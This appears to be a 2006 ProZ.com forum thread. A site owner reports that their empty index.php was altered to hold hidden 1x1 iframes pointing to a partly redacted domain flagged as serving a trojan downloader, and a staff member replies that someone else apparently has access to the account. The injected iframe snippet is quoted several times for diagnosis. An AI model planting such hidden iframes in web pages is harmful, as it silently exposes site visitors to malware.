Because of a very strange security problem (for the last month), I have tested the ProZ.com hosting.

Yesteray, 12/21/2006, I placed one file in the root directory -- index.php. Its attributes were 444 (!)

This file was absolutely empty. There were no other files at all. So, we cannot talk about any problems in any software I use on the server. MySQL was empty too.

Today I see the index.php file has been changed. Its attributes are 644 and it has the following code:

<iframe width=1 height=1 border=0 frameborder=0 src="http://*****.*****.info/mrx/"></iframe>

I deleted the above domain name because that server is trying to transfer "Trojan-Downloader.HTML.Agent.c" (according to Kaspersky Internet Security 6.0)

What's the matter?

Thanks.


EDITED:

Now I see this code is:

<iframe width=1 height=1 border=0 frameborder=0 src="http://*****.*****.info/mrx/"></iframe>
<iframe width=1 height=1 border=0 frameborder=0 src="http://*****.*****.info/mrx/"></iframe>
<iframe width=1 height=1 border=0 frameborder=0 src="http://*****.*****.info/mrx/"></iframe>

It appears that someone else has access to your account Dec 22, 2006

Hi Igor,

I just checked our logs, and it appears that someone else has access to your hosting account. I am writing you directly.

If anyone else experiences a problem like this, please email me as soon as possible -- justin at proz.com

Best regards,
Justin
